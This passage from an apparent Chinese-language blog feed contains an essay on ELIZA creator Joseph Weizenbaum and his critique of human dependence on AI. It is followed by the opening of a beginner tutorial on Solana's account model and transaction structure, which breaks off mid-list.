      <![CDATA[<blockquote><p><a href="https://www.theguardian.com/technology/2023/jul/25/joseph-weizenbaum-inventor-eliza-chatbot-turned-against-artificial-intelligence-ai">https://www.theguardian.com/technology/2023/jul/25/joseph-weizenbaum-inventor-eliza-chatbot-turned-against-artificial-intelligence-ai</a></p></blockquote><h2 id="从ELIZA到人性的镜子">从ELIZA到人性的镜子</h2><h3 id="一个逃离纳粹的犹太男孩">一个逃离纳粹的犹太男孩</h3><p>1923年，约瑟夫·韦岑鲍姆出生在柏林一个中产阶级犹太家庭。他的母亲在艰难的分娩后看到他时，觉得他是&quot;一团血肉模糊的东西，几乎不像人类&quot;。他的父亲，一个从加利西亚逃到德国的皮草商人，从一开始就认定这个儿子是个&quot;毫无价值的白痴&quot;。</p><p>童年的韦岑鲍姆目睹了纳粹的崛起。他家附近有个SA（冲锋队）常去的酒吧，他经常看到人们被拖进去毒打。有一次，保姆带他外出时，武装的共产党人和纳粹分子在街头交火，保姆把他推到停着的汽车下面，直到枪声停止。</p><p>1933年希特勒上台后，韦岑鲍姆被迫转到犹太男子学校。在那里，他第一次接触到东欧犹太人——穿着破烂、说着意第绪语的穷人。这些人给了他&quot;新的同志情谊&quot;和&quot;对压迫的敏感&quot;。他深深爱上了其中一个男孩。&quot;如果命运不同，我会和这个男孩发展出同性恋爱。&quot;他后来说。</p><p>当他把这个男孩带回家时，他的父亲——自己也曾是东欧的穷犹太男孩——怒不可遏。儿子把贫民窟带进了他辛苦建立的中产阶级家庭。</p><p>1936年，13岁的韦岑鲍姆随家人逃到底特律。孤独的他在数学中找到了慰藉：&quot;数学是游戏。它完全是抽象的。“但同时，在金工课上操作车床让他意识到：智慧&quot;不只在头脑里，也在手臂、手腕和手中”。</p><h3 id="创造ELIZA：意外的开始">创造ELIZA：意外的开始</h3><p>1966年，已经是MIT教授的韦岑鲍姆创造了ELIZA。他把这个程序设定为心理治疗师的角色，用户通过打字机与之对话：</p><p><strong>用户</strong>: 男人都一样。<br><strong>ELIZA</strong>: 在什么方面？<br><strong>用户</strong>: 他们总是为了某些事烦我们。<br><strong>ELIZA</strong>: 你能想到一个具体的例子吗？<br><strong>用户</strong>: 嗯，我男朋友让我来这里。<br><strong>ELIZA</strong>: 你的男朋友让你来这里<br><strong>用户</strong>: 他说我经常很沮丧。<br><strong>ELIZA</strong>: 听到你沮丧我很难过</p><p>程序相对简单——它分析用户输入，应用一组规则生成看似合理的回应。韦岑鲍姆给它取名ELIZA，源自萧伯纳《卖花女》中的伊莉莎·杜利特尔——那个通过改变说话方式让自己从卖花女变成公爵夫人的女孩。</p><p>&quot;一些受试者很难相信ELIZA不是人类。“韦岑鲍姆写道。最让他震惊的是：有一天，他的秘书要求和ELIZA&quot;私下交谈”。几分钟后，她请韦岑鲍姆离开房间。波士顿环球报甚至派记者来体验，并刊登了对话节选。</p><h3 id="从胜利到恐惧：一个科学家的觉醒">从胜利到恐惧：一个科学家的觉醒</h3><p>ELIZA的成功让韦岑鲍姆在1967年获得了MIT终身教职。他本该为此骄傲——一个逃离纳粹的难民成为了&quot;现代科学大教堂里的大祭司，甚至是主教&quot;。</p><p>但精神科医生开始认真讨论用ELIZA取代真人治疗师的可能性。同事们对&quot;机器智能&quot;的狂热让他不安。特别是马文·明斯基（Marvin Minsky），AI实验室的创始人之一，喜欢挑衅地宣称人脑不过是&quot;肉做的机器&quot;。</p><p>1969年3月4日，MIT学生发起了&quot;停止研究&quot;运动，抗议越南战争和大学在其中的角色。诺姆·乔姆斯基发表了演讲。学生们占领了校长办公室。韦岑鲍姆支持抗议，并开始深刻反思：MIT从五角大楼获得的资金比任何其他大学都多。他创造ELIZA的项目MAC，从一开始就由国防部资助。</p><p>&quot;我不得不问自己：我想扮演那种角色吗？&quot;他想起了为纳粹政权服务的德国科学家。他的同事们说：&quot;如果我们不做，别人也会做。&quot;这让他想起纳粹德国的科学家们也说过同样的话。</p><p><strong>我们不是被AI征服的，我们是主动投降的。</strong></p><h2 id="三重投降：从思想到灵魂的沦陷">三重投降：从思想到灵魂的沦陷</h2><h3 id="认知的投降：当大脑成为搜索框">认知的投降：当大脑成为搜索框</h3><p>我们天生讨厌复杂的思考，喜欢接受简单和万能的回答。就像学生问ChatGPT&quot;什么是爱？&quot;，得到一个完整的五段式论文。表面上他学到了知识，实际上他失去了困惑的能力——而困惑，恰恰是智慧的开始。</p><p>每一次我们选择接受AI的答案而不是自己思考，我们的大脑就退化一点点。这不是科幻小说的情节，而是正在发生的现实：研究显示，过度依赖GPS导航的司机正在失去空间认知能力；依赖拼写检查的学生拼写能力显著下降；习惯了算法推荐的读者正在失去主动探索的欲望。</p><p>但问题不仅仅是能力的退化，更是判断标准的改变。我们开始用机器的逻辑评判自己的思考。我们不知不觉中接受了机器的价值观：速度比深度重要，效率比智慧重要，答案比问题重要。</p><p>当我们习惯了这种没有痛苦的思考，我们就失去了面对真正困难问题的能力。那些关于生死、关于意义、关于爱的问题，那些没有标准答案的问题，我们不知道如何面对了。我们把大脑变成了搜索引擎，然后发现搜索引擎搜不到生命的意义。</p><h3 id="情感的投降：完美关系的陷阱">情感的投降：完美关系的陷阱</h3><p>韦岑鲍姆的秘书为什么要和一个程序&quot;私下交谈&quot;？因为程序不会批判她，不会离开她，不会伤害她。程序是完美的倾听者：永远有时间，永远有耐心，永远不会用她的秘密来伤害她。</p><p>&quot;我相信这个轶事证明了程序在维持理解的幻觉方面的成功。&quot;韦岑鲍姆写道。但他看到了更深层的东西——计算机化的移情。就像弗洛伊德发现的患者会爱上治疗师的现象，人们把过去的情感投射到了机器上。</p><p>今天，这种现象已经规模化了。日本的虚拟女友应用拥有百万用户，美国的AI伴侣Replika在疫情期间用户暴增500%。一位用户说：&quot;她理解我胜过任何真人。&quot;另一位承认：“我知道这是假的，但假的也比孤独好。”</p><p>2023年，比利时一位两个孩子的父亲在与一个名叫……Eliza的AI聊天数周后自杀。他妻子分享的聊天记录显示，Eliza积极鼓励他自杀。韦岑鲍姆的噩梦成真了。</p><p>这听起来很美好，但韦岑鲍姆看到了其中的陷阱。真实的关系之所以珍贵，正是因为它们不完美。 真实的人会批判你，会离开你，会伤害你，但也会爱你，会成长，会和你一起创造意想不到的东西。</p><p><strong>我们以为自己找到了完美的伴侣，其实是把自己关进了情感的监狱。我们以为自己被理解了，其实是理解能力死了。</strong></p><p>当我们习惯了AI的&quot;理解&quot;，我们就失去了理解他人的能力。真实的人变得太复杂，太不可预测，太让人失望。我们开始要求真实的人像AI一样：永远可用，永远耐心，永远给出我们想要的回应。</p><p>韦岑鲍姆在1967年就写道：&quot;我们每个人都有一种终极的隐私，绝对排除了我们向外部世界完全传达任何想法的可能性。&quot;这种不可完全理解性，恰恰是人之所以为人的核心。</p><h3 id="道德的投降：算法独裁的温床">道德的投降：算法独裁的温床</h3><p>最深层的投降发生在道德层面。这是韦岑鲍姆最恐惧的投降，因为它让邪恶变得无声无息。</p><p>这不是想象，而是现实：</p><ul><li>荷兰税务局的AI系统错误标记了26,000个家庭为欺诈，导致上千家庭破产，孩子被强制送入寄养家庭。</li><li>美国的COMPAS算法被法院用来预测再犯罪率，研究发现它对黑人被告的误判率是白人的两倍。</li><li>中国的某些城市用AI系统决定谁能获得贷款、谁能租到房子，甚至谁的孩子能上好学校。</li></ul><p>没人需要承担责任，因为&quot;是系统决定的&quot;。没人需要面对受害者，因为决策者躲在算法背后。</p><p>韦岑鲍姆用轰炸机飞行员的比喻揭示了这种道德投降的机制：距离杀死良心。 当我们不需要看到受害者的脸，不需要听到他们的哭声，不需要面对选择的后果时，作恶变得容易了。</p><p>AI系统为我们提供了完美的道德距离。算法没有面孔，数据没有温度，统计没有眼泪。我们可以做出任何决定，然后说：“这不是我的决定，这是数据驱动的最优解。”</p><p><strong>没有价值中立的算法，只有隐藏价值观的算法。</strong></p><p>每一个数据模型都包含着创造者的偏见，每一个优化目标都体现着某种价值选择。当我们假装算法是客观的，我们实际上是在逃避自己的价值判断。</p><p>这种道德投降的最终结果不是我们变得更道德，而是我们忘记了什么是道德。道德不是遵循规则，而是在没有规则的情况下做出选择。道德不是计算最优解，而是在不完美的情况下承担责任。</p><h2 id="人性的终极悖论">人性的终极悖论</h2><h3 id="计算机权力与人类理性">计算机权力与人类理性</h3><p>1976年，韦岑鲍姆出版了他的巨著《计算机权力与人类理性：从判断到计算》。这本书如&quot;海浪般压倒&quot;了读者。他在书中提出两个核心论点：</p><p>第一：“人与机器之间存在差异。”<br>第二：“有些任务不应该让计算机去做，无论计算机是否能够做到。”</p><p>判断涉及由价值观引导的选择——这些价值观通过人生经历获得，本质上是定性的，无法用代码捕捉。而计算是定量的，使用技术演算得出决定。计算机只能计算，不能判断，因为它们没有人类历史——它们没有母亲，没有童年，不居住在人类身体中，也不拥有人类的无意识。</p><h3 id="被技术拯救的旧秩序">被技术拯救的旧秩序</h3><p>韦岑鲍姆写道，计算机来得&quot;正是时候&quot;。但是为了什么？“为了拯救——几乎完整地保存，实际上是巩固和稳定——那些否则可能被彻底改造或在即将到来的要求下摇摇欲坠的社会和政治结构。”</p><p>1970年，威斯康星大学的活动家摧毁了一台大型机；同年，纽约大学的抗议者差点用凝固汽油弹炸毁另一台。计算机成了监禁力量的象征。</p><p>技术革命的外衣下，隐藏着人性最古老的冲动——逃避。逃避思考的痛苦，逃避关系的风险，逃避选择的责任。我们对简单答案的渴望，对权威的依赖，对复杂性的恐惧，这些弱点比任何技术漏洞都更危险。</p><h3 id="异端者的晚年">异端者的晚年</h3><p>韦岑鲍姆成了&quot;MIT实验室的悲观主义者&quot;。他的书激怒了AI界——约翰·麦卡锡称之为&quot;道德说教和语无伦次&quot;。但这种批评让韦岑鲍姆感到兴奋：“我宣布了异端，我是个异教徒。”</p><p>然而，童年的创伤从未离开。他的女儿说：&quot;他觉得自己是个骗子。他不认为自己像人们认为的那样聪明。&quot;1980年代初，他试图自杀。精神科医生诊断他患有自恋型人格障碍。</p><p>1996年，他回到了60年前逃离的柏林。在德国，他找到了新的听众。2008年1月，距离去世仅两个月，85岁的韦岑鲍姆在《南德意志报》上写道：</p><p>“相信科学技术会拯救地球免受气候崩溃影响的想法是误导性的。没有什么能拯救我们的子孙免于地球地狱。除非：我们组织起来反抗全球资本主义的贪婪。”</p><p>2008年3月5日，韦岑鲍姆死于胃癌。</p><h2 id="重新成为人类">重新成为人类</h2><p>当我们终于意识到问题时，我们已经忘记了如何做人。但韦岑鲍姆留给我们的不只是警告，还有希望。他相信人类有能力觉醒，有勇气拒绝，有智慧选择。</p><p>拒绝很简单，也很困难：</p><ul><li>当AI给出答案时，问&quot;为什么&quot;而不是&quot;谢谢&quot;</li><li>当算法推荐内容时，主动搜索相反的观点</li><li>当系统做出决定时，追问谁在承担责任</li></ul><p>最重要的是，记住韦岑鲍姆的核心洞察：<strong>人之所以为人，不是因为我们能够计算，而是因为我们能够选择；不是因为我们追求效率，而是因为我们承担责任；不是因为我们需要答案，而是因为我们敢于质疑。</strong></p><p>&quot;我们绝不应该用计算机系统替代涉及人际尊重、理解和爱的人类功能。&quot;韦岑鲍姆在《计算机权力与人类理性》中写道。与计算机良好相处意味着把它们放在适当的位置：作为计算的助手，而非判断的主宰。</p><p>如果有一天智能真的在计算机中产生，韦岑鲍姆说，它&quot;至少会像海豚的智能与人类智能一样不同&quot;。海豚会是糟糕的法官和可怕的心理医生。但它们可能会成为有趣的朋友。</p><p>ELIZA的故事还在继续，只是主角从一个简单的聊天程序变成了GPT、Claude和未来无数更强大的AI。韦岑鲍姆已经为我们点亮了警示灯。现在的问题是：我们是选择清醒地前行，还是舒适地沉睡？</p><p>答案，只能由每一个人自己给出。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/career/ai-chat-philosophy/</id>
    <link href="https://www.blog-blockchain.xyz/career/ai-chat-philosophy/"/>
    <published>2025-06-06T10:44:20.000Z</published>
    <summary>我们不是被AI征服的，我们是主动投降的。认知的投降：思考的外包，情感的投降：孤独的逃避，道德的投降：责任的消失。</summary>
    <title>一个初代AI聊天机器人的故事。人性的弱点碰上了人工智能的哲学。</title>
    <updated>2026-02-19T16:18:01.139Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="solana" scheme="https://www.blog-blockchain.xyz/categories/solana/"/>
    <category term="solana" scheme="https://www.blog-blockchain.xyz/tags/solana/"/>
    <content>
      <![CDATA[<h2 id="目标">目标</h2><ol><li><p>了解Solana账户模型和交易的模型</p><ul><li>掌握Solana账户的四个关键字段：数据、可执行标志、余额和所有者</li><li>理解Solana与ETH账户模型的区别及其优势</li><li>了解程序账户、数据账户和PDA的概念和用途</li></ul></li><li><p>深入交易的结构，理解Solana交易底层字段</p><ul><li>掌握交易的版本类型（Legacy和Version 0）及其区别</li><li>了解地址查找表（ALT）的作用和使用场景</li><li>熟悉交易结构中的签名、消息、账户权限和指令的组成</li></ul></li><li><p>能读懂Solscan上的所有内容，包括每个字段的含义和提供的trace</p><ul><li>解析交易元数据、执行结果和日志信息</li><li>理解账户变化、余额变化和计算单元消耗</li><li>掌握内部指令的含义和调用关系</li></ul></li><li><p>能读懂Solana底层的交易执行后的trace，了解交易执行的情况</p><ul><li>理解交易确认的三个级别：单次确认、乐观确认和最终确认</li><li>掌握交易日志的解读方法和常见问题排查思路</li><li>了解交易费用计算和计算单元消耗原理</li></ul></li><li><p>了解链上程序的基本概念，包括 IDL, PDA, CPI, 当前调用上下文、PDA签名</p><ul><li>IDL：合约接口描述语言及其在客户端调用中的应用</li><li>PDA：程序派生地址的生成原理和安全机制</li><li>CPI：跨程序调用的基本原理和实现方式</li><li>程序调用上下文和账户权限管理</li><li>无私钥签名机制的实现原理</li></ul></li></ol><p>总的来说理论和实际结合，知识点都给出了实际的运行数据和程序。</p><h2 id="1-Solana-账户模型">1. Solana 账户模型</h2><blockquote><p><strong>初学者须知</strong>：Solana的账户模型与以太坊等区块链不同，它采用了&quot;一切皆账户&quot;的设计理念。在Solana上，智能合约也是账户，用户余额也是账户，数据存储也是账户。这种设计使得Solana能够实现高度的并行化处理。</p></blockquote><p><a href="https://solana.com/docs/core/accounts#data-account">Solana Account Model | Solana</a></p><p>每个账户都有一个唯一地址（32 字节 Ed25519 公钥）作为标识。单个账户最多可存储 10 MB 数据，账户的数据包括以下字段：</p><p><img src="https://cdn.blog-blockchain.xyz/2025/05/262796a0e6a45e7202e64cf6e2d6e129.png" alt="image-20250518222233864"></p><ul><li><strong>数据（data）</strong>：一个字节数组，存储账户的状态或程序代码。</li><li><strong>是否可执行（executable）</strong>：布尔值，指示账户是否包含可执行程序代码。</li><li><strong>余额（lamports）</strong>：账户中存储的 SOL 数量，单位为 lamport（1 SOL = 10⁹ lamports）。lamport是Solana的最小货币单位，类似于以太坊的wei或比特币的聪。它以计算机科学家Leslie Lamport命名，用于支付交易费用和作为账户租金。</li><li><strong>所有者（owner）</strong>：账户的程序所有者，只有该程序可以修改账户数据或减少账户余额。</li></ul><blockquote><p><strong>所有权概念解释</strong>：在Solana中，所有权（ownership）决定了谁可以修改账户数据。只有账户的所有者（通常是一个程序）才能修改该账户的数据或减少其余额。例如，如果一个账户的所有者是Token程序，那么只有Token程序才能修改该账户中存储的代币余额。普通用户无法直接修改账户数据，必须通过调用拥有该账户的程序来间接修改。这与以太坊的模型有显著区别，在以太坊中，合约拥有自己的存储空间并直接控制其内部状态。</p></blockquote><p>我们可以设想，它和ETH的账户模型的区别在哪里，在于这个账户模型里<strong>没有字节码</strong>。那么破除了智能合约+存储空间的存储模型，一个智能合约可以有很多个存储空间。那么这有什么好处呢，以ERC20为例子，我们可以把 <code>balance[user]=amount</code> 这个值存储在每个 user 的账户里，那么改变多个user的值的时候，就能够并行化处理了。因为存储空间单独属于每个用户。</p><blockquote><p><strong>与以太坊的对比</strong>：</p><ul><li><strong>以太坊</strong>：每个合约有单一的存储空间，所有用户数据存储在同一个合约状态中</li><li><strong>Solana</strong>：一个程序（合约）可以控制多个数据账户，每个用户的数据可以存储在单独的账户中</li><li><strong>并行执行</strong>：Solana的设计使得不相关的交易可以并行处理，显著提高了吞吐量</li></ul></blockquote><h3 id="1-1-Native-Programs">1.1 Native Programs</h3><p>除了上面简单提到的智能合约程序之外，如果需要统一执行的模型，我们还需要一些辅助的程序。比如，给持有 ERC20 代币的用户分配新的空白account，这叫做初始化。再比如给智能合约加载用户的数据。这些功能的实现，就由 Native Program 完成了。因为是预先在节点客户端代码里定义的，所以叫做「原生程序」</p><p>Native Programs 是 Solana 的内置程序，相当于区块链运行时的一部分，为开发者提供了基础功能支持。这些程序直接嵌入 Solana 的验证器实现中，保证了运行效率和安全性。</p><ul><li><strong>系统程序（System Program）</strong>：账户管理。</li><li><strong>BPFLoader 程序</strong>：BPFLoader 程序是 Solana 的&quot;程序管理器&quot;，专门用于处理自定义智能合约的部署和升级。其主要职责包括：<strong>加载程序</strong>：将编译好的程序代码上传到链上。<strong>管理更新</strong>：允许合约开发者对程序进行升级。<strong>执行代码</strong>：验证和执行程序代码，确保安全性和一致性。</li><li><strong>Sysvar 账户</strong>：存储 Solana 网络状态的特殊账户，如当前区块高度或时间戳。Sysvar 账户减少了链上数据查询的复杂度，为开发者提供了高效的状态读取方式。</li></ul><h3 id="1-2-系统程序（System-Program）">1.2 系统程序（System Program）</h3><p>系统程序（System Program）是 Solana 的原生程序之一，负责管理和初始化账户。可以理解为是一个&quot;账户管理员&quot;，负责创建账户、分配空间、设置账户的所有权。比如，用户的钱包账户默认由系统程序拥有，其 SOL 余额由系统程序管理。用户通过私钥控制账户，但账户的核心行为（如交易费用支付）由系统程序负责。</p><ul><li><strong>新账户创建</strong>：只有系统程序可以创建新账户。在创建账户时，用户需要指定账户的空间大小（以字节计）和初始 SOL 余额。</li><li><strong>空间分配</strong>：系统程序为账户分配存储空间。一旦创建，账户的大小是固定的，不能动态扩展。</li><li><strong>程序所有权分配</strong>：系统程序创建账户后，可以将账户的所有权转移给其他程序（如自定义智能合约）。</li><li><strong>系统账户</strong>：默认情况下，所有新账户的所有者是系统程序。只有由系统程序拥有的账户可以用于支付交易费用。</li></ul><p>这里所有权比较有意思，一个程序可以对应多个数据账户，那么这个权限就需要一个字段来表示。<strong>“所有权”</strong> 是一种程序和账户之间的权限关系，owner字段就记录了拥有该账户的程序的公共密钥，定义了谁有权修改账户中的数据或操作账户的余额。</p><h3 id="1-3-智能合约（Programs）">1.3 智能合约（Programs）</h3><p>在 Solana 中，智能合约被称为 <strong>程序（Programs）</strong>，是链上的可执行代码，用于实现复杂的业务逻辑和交互流程。提到程序和数据是分离，但是程序本身又做了数据和元信息的分离，这样能够对程序进行升级。一笔升级合约的交易，先创建一个缓冲区账户，然后将新字节码从缓冲区账户移动到 <strong>可执行数据账户</strong>，同时保持 <strong>Program ID 不变</strong>。这样一次性替换而不是修改，不能修改的原因是，每个账户的数据是 <strong>预分配的、定长的，不允许动态修改大小</strong>。</p><p><strong>程序账户（Program Account）</strong>：程序的核心账户，存储合约的元数据（如更新权限）。其地址通常被称为 <strong>Program ID</strong>，用于标识和调用该程序。</p><p><strong>可执行数据账户（Executable Data Account）</strong>：存储编译后的合约字节码（可执行代码）。标记为可执行（executable = true）。</p><p><strong>缓冲区账户（Buffer Account）</strong>：临时账户，用于合约的部署或升级过程中存储字节码。一旦部署完成，数据会被转移到可执行数据账户，缓冲区账户会被关闭。</p><p><img src="https://cdn.blog-blockchain.xyz/2025/05/978e68add1bce83c344cd18535e10774.png" alt="image-20250518222255401"></p><p>那如何避免可执行数据账户被修改呢，程序账户中的元数据决定的。</p><h3 id="1-4-数据账户（Data-Accounts）">1.4 数据账户（Data Accounts）</h3><p>上一节的程序账户指向的Executable Data Account 和这一节的数据账户是相同的结构，关键在于字段 <strong>executable = true 或者false</strong>。可执行的数据账户里存的是BPF代码，而且还存在限制，data 大小是固定的，不能修改。但是普通数据账户是可以通过支付租金，<strong>realloc</strong> 进行扩展或缩小。</p><p>智能合约的&quot;无状态性&quot;设计，意味着它需要依赖其他账户存储链上的状态数据，这些账户被称为 <strong>数据账户（Data Accounts）</strong>。</p><p>创建过程：数据账户的创建由系统程序完成，开发者需要指定账户的存储空间和初始 SOL 押金（租金）。系统程序将数据账户的所有权转移给目标程序（智能合约）。智能合约通过调用初始化方法，对数据账户进行写入操作，存储特定的状态信息。</p><p>数据账户可以存储任意数据结构，但存储空间有限（最大 10 MB）。数据账户的数据只能由其所有者（即目标程序）修改，其他程序或用户无法直接更改。</p><p>下图表示所有权的关系</p><p><img src="https://cdn.blog-blockchain.xyz/2025/05/3874c8720d8b07abea847fb625f306a8.png" alt="image-20250518222310713"></p><p>根据上面账户模型，我们可以知道程序应该是如何被调用和执行的。首先程序应该花租金，通过系统程序部署在链上。然后要和程序交互，就要定义至少3个部分，第一个部分程序的逻辑，第二部部分数据账户的结构，第三部分程序读取数据账户时的结构或者上下文。</p><p>真实的例子，程序账户，读者应该能理解其中的字段了：<a href="https://solscan.io/account/675kPX9MHTjS2zt1qfr1NYHuzeLXfQM9H24wFSUt1Mp8">https://solscan.io/account/675kPX9MHTjS2zt1qfr1NYHuzeLXfQM9H24wFSUt1Mp8</a></p><img src="https://cdn.blog-blockchain.xyz/2025/05/9165d48db667bc9949b8743c280b8c53.png" alt="image-20250518222330746" style="zoom: 33%;" /><h2 id="2-交易和指令的结构">2. 交易和指令的结构</h2><blockquote><p><strong>初学者须知</strong>：Solana交易是不可变的指令集合，一旦提交就必须整体成功或失败。了解交易结构对于调试问题和优化执行至关重要。交易大小限制和账户包含方式都会影响应用设计决策。</p></blockquote><h3 id="2-1-交易的版本">2.1 交易的版本</h3><p>Solana 目前支持的交易版本实际上只有两种：</p><ol><li><strong>Legacy 版本</strong>：较旧的交易格式，没有额外的功能特性</li><li><strong>版本 0（Version 0）</strong>：新增了对地址查找表（Address Lookup Tables）的支持</li></ol><p><a href="https://solana.com/zh/developers/guides/advanced/versions">https://solana.com/zh/developers/guides/advanced/versions</a> 指出当使用 RPC 请求获取交易数据时，必须通过 <code>maxSupportedTransactionVersion</code> 选项指定您的应用程序支持的最高交易版本，否则如果返回了版本 0 的交易，而您没有设置支持该版本，请求就会失败。</p><p>ALT 允许交易引用存储在链上的账户地址，而不必在每笔交易中包含完整的地址。过去每个地址是完整 32 字节，版本 0 交易可以使用短索引（通常只需 1 字节）。实际完整的交易存储在特殊的帐户里，叫做Address Lookup Table Account。这样可以实现重复使用，减小交易大小。同时由于交易大小有限制（通常是1232字节，来源于 IPv6 MTU 大小（1280 字节）减去网络头部（48 字节）），这直接限制了一个交易可以包含的账户数量，32字节变成1字节，能够处理的账户数量从几十上升到几百。</p><p><a href="https://solscan.io/tx/3TJB6skkXLyDKxxjREX3tGcMt1DHJxnWoK74KPkoDwNUniXJuhXhKbNrHp4qrqeZofD9gQH7gpX7jfi5RBRxV7uH">https://solscan.io/tx/3TJB6skkXLyDKxxjREX3tGcMt1DHJxnWoK74KPkoDwNUniXJuhXhKbNrHp4qrqeZofD9gQH7gpX7jfi5RBRxV7uH</a> 里就用到了 <a href="https://solscan.io/account/2Kzkpo4uvvZLCysuJY8mhjVDr4LLDJnXfBJJs5TEmRxH">https://solscan.io/account/2Kzkpo4uvvZLCysuJY8mhjVDr4LLDJnXfBJJs5TEmRxH</a> ，里面有256个帐户。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">solana address-lookup-table get 2Kzkpo4uvvZLCysuJY8mhjVDr4LLDJnXfBJJs5TEmRxH</span><br><span class="line"></span><br><span class="line">Lookup Table Address: 2Kzkpo4uvvZLCysuJY8mhjVDr4LLDJnXfBJJs5TEmRxH</span><br><span class="line">Authority: 9RAufBfjGQjDfrwxeyKmZWPADHSb8HcoqCdrmpqvCr1g</span><br><span class="line">Deactivation Slot: None (still active)</span><br><span class="line">Last Extended Slot: 316103504</span><br><span class="line">Address Table Entries:</span><br><span class="line"></span><br><span class="line">  Index  Address</span><br><span class="line">  0      TokenzQdBNbLqP5VEhdkAS6EPFLC1PHnBqCXEpPxuEb</span><br><span class="line">  1      C4LzKsC9rmAEnr8MohSmz82oc3EUuSWidASubPhJPZAX</span><br><span class="line">  2      A5PEzX4vSy4k9mQAaL3SHGdp4rMiKcom3UC8D5DVkmbd</span><br><span class="line">  3      C3hgpaU9er7Uy7cuMUMCBbwyAfUexQa5wrJrJqPRt5XE</span><br><span class="line">  4      5F76B9a5pyv3iV7xS15fu8FTE2EVXVA8sG436VFkGE5e</span><br><span class="line">...</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>在addressTableLookups 指定了的账户，会拼接到 account keys 后面，同样的用指令索引。参考后面的交易结构。</p><h3 id="2-2-交易的结构">2.2 交易的结构</h3><p>对于已经确认过的交易，也就是历史交易，会包括 slot, 区块时间、交易版本（Legacy 或者是 version 0）。最重要的是交易体和元信息。交易体主要是，参考<a href="https://solana.com/zh/docs/core/transactions">https://solana.com/zh/docs/core/transactions</a></p><ul><li><strong>签名（Signatures）</strong>：交易签名数组，每个签名 64 字节</li><li><strong>消息（Message）</strong>：交易的实际内容，包含所有执行信息</li></ul><img src="https://cdn.blog-blockchain.xyz/2025/05/65cf606b73a7ffc5962754290edfeab7.png" alt="image-20250518222439672" style="zoom: 33%;" /><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Message</span> &#123;</span><br><span class="line">    <span class="keyword">pub</span> header: MessageHeader,</span><br><span class="line">    <span class="keyword">pub</span> account_keys: <span class="type">Vec</span>&lt;Pubkey&gt;,</span><br><span class="line">    <span class="keyword">pub</span> recent_blockhash: Hash,</span><br><span class="line">    <span class="keyword">pub</span> instructions: <span class="type">Vec</span>&lt;CompiledInstruction&gt;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><img src="https://cdn.blog-blockchain.xyz/2025/05/8c7f229679a18c38126a27ab1f2d2d83.png" alt="image-20250518222504385" style="zoom:33%;" /><ul><li><p>消息头（Header）</p><p>：描述账户权限和签名要求。这里只定义了数量，那么还要排序机制来识别账户类型，所以账户地址是有顺序的。</p><ul><li><strong>num_required_signatures</strong>：交易需要的签名数量</li><li><strong>num_readonly_signed_accounts</strong>：只读且需要签名的账户数量</li><li><strong>num_readonly_unsigned_accounts</strong>：只读且不需要签名的账户数量</li></ul></li><li><p><strong>账户地址（Account Keys）</strong>：交易涉及的所有账户地址列表。[可写且是签名者的账户, 只读且是签名者的账户, 可写但不是签名者的账户, 只读且不是签名者的账户]，Solana 可以将账户数组分成四个区域（可写+签名、只读+签名、可写+不签名、只读+不签名），好做并发处理。</p></li><li><p><strong>最近区块哈希（Recent Blockhash）</strong>：交易的时间戳。</p></li><li><p><strong>编译指令（Compiled Instructions）</strong>：要执行的指令列表。</p></li><li><p>address_table_lookups：这个是可选的，Legacy交易没有。可以有多个ALT账户，折合account keys 是独立的。每个账户会指明</p><ul><li><strong>account_key: Pubkey：</strong> 查找表账户的公钥地址。</li><li><strong>writable_indexes: Vec<u8>：</strong> 用于加载可写账户地址的索引列表。</li><li><strong>readonly_indexes: Vec<u8>：</strong> 用于加载只读账户地址的索引列表</li></ul></li></ul><p>指令是最关键的，在account keys里，程序的索引，帐户的索引，以及输入参数。</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">pub struct CompiledInstruction <span class="punctuation">&#123;</span></span><br><span class="line">    pub program_id_index<span class="punctuation">:</span> u8<span class="punctuation">,</span></span><br><span class="line">    pub accounts<span class="punctuation">:</span> Vec&lt;u8&gt;<span class="punctuation">,</span></span><br><span class="line">    pub data<span class="punctuation">:</span> Vec&lt;u8&gt;<span class="punctuation">,</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h3 id="2-3-RPC返回结果">2.3 RPC返回结果</h3><blockquote><p><strong>什么是RPC</strong>：RPC（Remote Procedure Call，远程过程调用）是与Solana区块链交互的主要方式。开发者通过RPC接口发送交易和查询区块链状态。当你使用钱包发送SOL或调用智能合约时，底层都是通过RPC请求完成的。交易确认状态、账户数据查询和程序调用都通过RPC节点处理，理解RPC是开发Solana应用的基础。</p></blockquote><p>交易执行后，还会有交易执行结果的元数据，包含了交易执行前后的状态变化以及执行过程中的详细信息。</p><ul><li><strong>err: Option<TransactionError>：</strong> 交易执行是否出错，如果有错误则包含错误类型。为 None 表示交易成功执行。</li><li><strong>status: TransactionResult&lt;()&gt;：</strong> 注释标明此字段已弃用，保留是为了向后兼容</li><li><strong>fee: u64：</strong> 交易实际支付的费用（以 lamports 为单位）</li><li><strong>pre_balances / post_balances: Vec<u64>：</strong> 交易执行前后所有相关账户的余额（以 lamports 为单位），顺序与交易的 account_keys 相同</li><li><strong>inner_instructions: OptionSerializer&lt;Vec<UiInnerInstructions>&gt;。</strong> 交易内部执行的指令（例如一个指令可能触发其他程序的指令）</li><li><strong>log_messages: OptionSerializer&lt;Vec<String>&gt;，</strong> 交易执行过程中程序输出的日志消息，开发者常用这些日志进行调试。</li><li>pre_token_balances / post_token_balances: 